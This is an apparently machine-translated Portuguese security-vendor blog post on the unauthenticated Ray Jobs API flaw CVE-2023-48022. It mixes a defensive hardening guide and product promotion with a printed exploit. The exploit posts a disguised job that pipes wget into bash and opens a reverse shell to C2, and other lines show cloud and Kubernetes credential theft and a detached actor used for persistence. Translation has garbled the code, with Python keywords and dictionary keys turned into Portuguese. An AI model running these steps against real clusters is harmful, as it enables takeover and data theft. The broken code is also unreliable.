Cabeçalho penumbroso

A vulnerabilidade zumbi: Uma autópsia de 2026 do CVE-2023-48022 e o ressurgimento do ShadowRay 2.0

Estamos em 2026. O setor de IA amadureceu de chatbots experimentais para agentes autônomos que governam infraestruturas essenciais. No entanto, assombrando os farms de servidores e os clusters Kubernetes das empresas de IA mais avançadas do mundo, há um fantasma do passado: CVE-2023-48022.

Originalmente divulgada no final de 2023, essa vulnerabilidade crítica (CVSS 9.8) no Estrutura de Ray-o padrão de computação distribuída usado pela OpenAI, Uber e Amazon, era para ser um problema resolvido. No entanto, a explosão do final de 2025 da ShadowRay 2.0 provou o contrário. Dezenas de milhares de clusters de GPU foram silenciosamente recrutados para redes zumbis, não apenas para criptomineração, mas também para exfiltração sofisticada de dados e ataques distribuídos de negação de serviço (DDoS).

Para o engenheiro de segurança de IA de elite, o CVE-2023-48022 não é apenas um bug; é um estudo de caso em "Insecure by Design". Ela representa uma colisão entre a cultura de pesquisa aberta do desenvolvimento de IA e a realidade adversária da Internet moderna. Este artigo fornece uma análise forense da vulnerabilidade, disseca a evolução da técnica do ShadowRay 2.0 e descreve por que a varredura legada não consegue proteger o substrato de computação de IA.

Uma autópsia de 2026 do CVE-2023-48022 e o ressurgimento do ShadowRay 2.0

A arquitetura de um "recurso como vulnerabilidade"

Para entender por que o CVE-2023-48022 se recusa a morrer, é preciso entender a filosofia do Ray. O Ray foi criado para ser rápido e fácil de usar em intranets confiáveis.

A falha:

Nas versões anteriores a um fortalecimento significativo (e em implementações modernas mal configuradas), o Ray Dashboard e a API do Jobs se vinculam a 0.0.0.0:8265 por padrão, sem nenhum mecanismo de autenticação.

A Anyscale, criadora do Ray, inicialmente contestou a atribuição do CVE, argumentando que o Ray foi projetado para ser executado dentro de um perímetro de rede rígido. Essa confiança no modelo de defesa "hard outer shell" entrou em colapso quando os desenvolvedores começaram a expor os Ray Dashboards à Internet para monitoramento remoto, ou quando os invasores utilizaram o Server-Side Request Forgery (SSRF) para se movimentar internamente.

Desconstruindo a superfície de ataque

A vulnerabilidade concede a um invasor controle total sobre o Ray cluster por meio de uma simples API HTTP. Não há corrupção de memória, condição de corrida nem necessidade de heap feng shui complexo.

Os primitivos de ataque:

  1. O ponto de entrada: A API de empregos (/api/jobs/).
  2. O mecanismo: A API permite o envio de código Python arbitrário ou comandos de shell a serem executados nos nós de trabalho do cluster.
  3. O privilégio: Os processos Ray geralmente são executados como raiz dentro de contêineres do Docker ou com funções de IAM com privilégios elevados para acessar os buckets S3 que contêm conjuntos de dados.

Repetição técnica: A cadeia de mortes do ShadowRay

Vamos reconstruir a lógica de exploração usada pelos atores do ShadowRay 2.0. Isso vai além do simples enrolar para mostrar como eles orquestram o controle persistente.

Fase 1: Reconhecimento e coleta de impressões digitais

Os atacantes examinam especificamente a porta TCP 8265. Eles identificam o serviço consultando /api/versão ou procurando o título distinto do Ray Dashboard HTML.

Fase 2: Armamento (envio de trabalho Python)

O invasor constrói um script Python que atua como um "Job Submitter". Esse script interage com a API do alvo para gerar uma tarefa maliciosa.

Python

`import requests import json import sys

A vulnerabilidade zumbi: Uma autópsia de 2026 do CVE-2023-48022 e o ressurgimento do ShadowRay 2.0

Alvo: Um aglomerado de raios exposto encontrado via Shodan ou SSRF

TARGET_IP = "http://target-cluster.ai:8265

def exploit_cluster(target): url = f"{target}/api/jobs/"

# A carga útil: Um script bash de vários estágios
# 1. Persistência: Criar um trabalho cron ou serviço systemd oculto
# 2. Evasão: Eliminar mineradores concorrentes
# 3. Conexão: Shell reverso para C2
entrypoint_cmd = (
    "wget -qO-  | bash && "
    "export OMP_NUM_THREADS=1 && "
    "python3 -c 'import socket,os,pty;s=socket.socket();...'"
)

payload = {
    "entrypoint": entrypoint_cmd,
    "submission_id": "optimization_task_v4", # Engenharia social: Parecer um trabalho legítimo
    "runtime_env": {
        "working_dir": "/tmp",
        "pip": ["requests", "boto3"] # Ferramentas de pré-instalação para exfiltração
    },
    "metadata": {
        "user" (usuário): "root",
        "description" (descrição): "System Health Check" (Verificação da integridade do sistema)
    }
}

try:
    print(f"[*] Sending payload to {target}...")
    resp = requests.post(url, json=payload, timeout=10)
    
    se resp.status_code == 200:
        job_id = resp.json().get('job_id')
        print(f"[+] Exploitation Successful. ID do trabalho: {job_id}")
        print(f"[+] O cluster está agora sob seu controle.")
    else:
        print(f"[-] Failed: {resp.status_code} - {resp.text}")
        
except Exception as e:
    print(f"[!] Error: {e}")

se nome == “principal": exploit_cluster(TARGET_IP)`

Fase 3: Movimento lateral por meio de roubo de identidade

Depois que o código é executado no nó de trabalho, o script aproveita a função Serviço de metadados de instância (IMDS) para roubar credenciais de nuvem.

  • AWS: Consulta http://169.254.169.254/latest/meta-data/iam/security-credentials/ para roubar as chaves da função EC2.
  • Kubernetes: Ler /var/run/secrets/kubernetes.io/serviceaccount/token.

Como os trabalhos de treinamento em IA exigem acesso a grandes conjuntos de dados, essas credenciais geralmente têm S3FullAccess ou permissões equivalentes, permitindo que o invasor exfiltrasse modelos proprietários (no valor de milhões) ou envenenasse dados de treinamento.

ShadowRay 2.0: Evolução da persistência

A variante "2.0" observada no final de 2025 introduziu um novo mecanismo de persistência: Atores independentes.

No Ray, um "Actor" é um processo de trabalho com estado. Os invasores implantam Actors mal-intencionados que são projetados para se desvincular do ciclo de vida do trabalho. Mesmo que a equipe de segurança elimine o "Job" específico visto no painel, o processo do Actor permanece vivo em segundo plano, consumindo recursos e mantendo o link C2.

Python

`# Conceptual Malicious Actor @ray.remote class ShadowActor: def inicial(self): self.c2_connection = setup_c2()

def keep_alive(self):
    while True:
        Lógica de mineração ou exfiltração #
        process_data()
        time.sleep(1)


Implantar como um ator independente - sobrevive à demissão do emprego

ator = ShadowActor.options(name="system_optimizer", lifetime="detached").remote()`

O problema da "Shadow AI" e as falhas de detecção

Por que as organizações com firewalls caros ainda são afetadas pelo CVE-2023-48022? A resposta está em IA das sombras.

Os cientistas de dados e os engenheiros de ML geralmente ignoram os controles de TI para criar clusters temporários para experimentos. Eles usam scripts do Terraform ou gráficos do Helm copiados do GitHub, cujo padrão é expor o Dashboard para facilitar a depuração. Esses "Shadow Clusters" são invisíveis para o inventário central de TI e para os scanners de vulnerabilidade tradicionais (que examinam 192.168.1.0/24 mas sente falta das VPCs efêmeras criadas pelos engenheiros).

Além disso, os scanners tradicionais verificam versões de software. Se um engenheiro iniciar um cluster Ray usando uma imagem Docker mais antiga e estável (por exemplo, rayproject/ray:2.8.0) para reproduzir um documento, ele fica instantaneamente vulnerável.

Defesa orientada por IA: A Abordagem Penligente

A defesa contra o ShadowRay requer mais do que uma varredura estática; requer descoberta dinâmica de ativos e análise comportamental.

É aqui que Penligent.ai altera a postura defensiva da infraestrutura de IA.

1. Mapeamento do Shadow Estate

Os agentes da Penligent se integram às APIs de nuvem (AWS, Azure, GCP) e aos clusters do Kubernetes para realizar a descoberta contínua de ativos. Ele identifica instâncias de computação que exibem comportamento "Ray-like" (portas abertas 8265, 10001, 6379), mesmo que não estejam marcadas como ativos de produção. Isso ilumina a superfície da "Shadow AI".

2. Verificação ativa e segura

Em vez de confiar na captura de banners (que pode ser falsificada), a Penligent realiza Verificação ativa segura. Ele tenta interagir com a API de Jobs usando uma carga útil benigna, como o envio de um trabalho que simplesmente calcula 1 + 1 ou ecoa uma cadeia aleatória.

  • Se for bem-sucedido: Ele confirma o risco de RCE com zero falsos positivos e alerta o SOC imediatamente.
  • Segurança: Ao contrário de um worm, a sonda da Penligent não modifica o estado do sistema, não instala persistência nem exfiltra dados.

3. Detecção de anomalias em assinaturas de computação

A Penligent estabelece uma linha de base para cargas de trabalho de treinamento legítimas. As infecções por ShadowRay têm uma impressão digital distinta:

  • Rede: Conexões de saída inesperadas para pools de mineração ou IPs desconhecidos (C2).
  • Computar: Picos de utilização de CPU/GPU que não se correlacionam com trabalhos de treinamento programados.
  • Processo: Desova de conchas incomuns (/bin/bash, enrolar, wget) da árvore de processos do trabalhador Ray.

Estratégia de defesa para 2026: endurecimento do substrato de computação

Para imunizar sua infraestrutura contra o CVE-2023-48022 e seus sucessores, implemente esses controles hardcore:

  1. Rede Zero Trust: Nunca exponha o Ray Dashboard à Internet pública. O acesso deve ser mediado por um Bastion Host seguro, uma VPN ou um IAP (Identity-Aware Proxy), como o Cloudflare Access ou o AWS Verified Access.
  2. Impor autenticação (TLS mútuo): Embora o Ray agora ofereça suporte à autenticação básica, o padrão ouro é mTLS. Configure o Ray para exigir certificados de cliente para todas as comunicações intracluster e cliente-servidor.
  3. Isolamento de espaço de nome: Execute clusters do Ray em namespaces dedicados do Kubernetes com rigorosos Políticas de rede. Negar todo o tráfego de saída, exceto para os buckets S3 na lista de permissões e registros de modelos (Hugging Face). Bloquear o acesso ao IMDS (169.254.169.254).
  4. Infraestrutura imutável: Use sistemas de arquivos raiz somente leitura para os contêineres de trabalho do Ray para evitar que os invasores façam download de ferramentas ou estabeleçam persistência no disco.

Conclusão

CVE-2023-48022 não é apenas uma vulnerabilidade; é um sintoma da pressa do setor em adotar a IA em detrimento da arquitetura de segurança. Como dependemos cada vez mais da computação distribuída, o "limite da rede" não é mais uma defesa suficiente.

A campanha ShadowRay 2.0 prova que os invasores estão procurando ativamente por essas portas abertas. Os engenheiros de segurança devem adotar a mentalidade "Assume Breach", aproveitando ferramentas orientadas por IA, como a Penligent, para descobrir, testar e fortalecer continuamente seus ativos de computação antes que eles se tornem o próximo nó em uma rede de bots zumbis.

Referências confiáveis

Compartilhe a postagem:
Publicações relacionadas
pt_BRPortuguese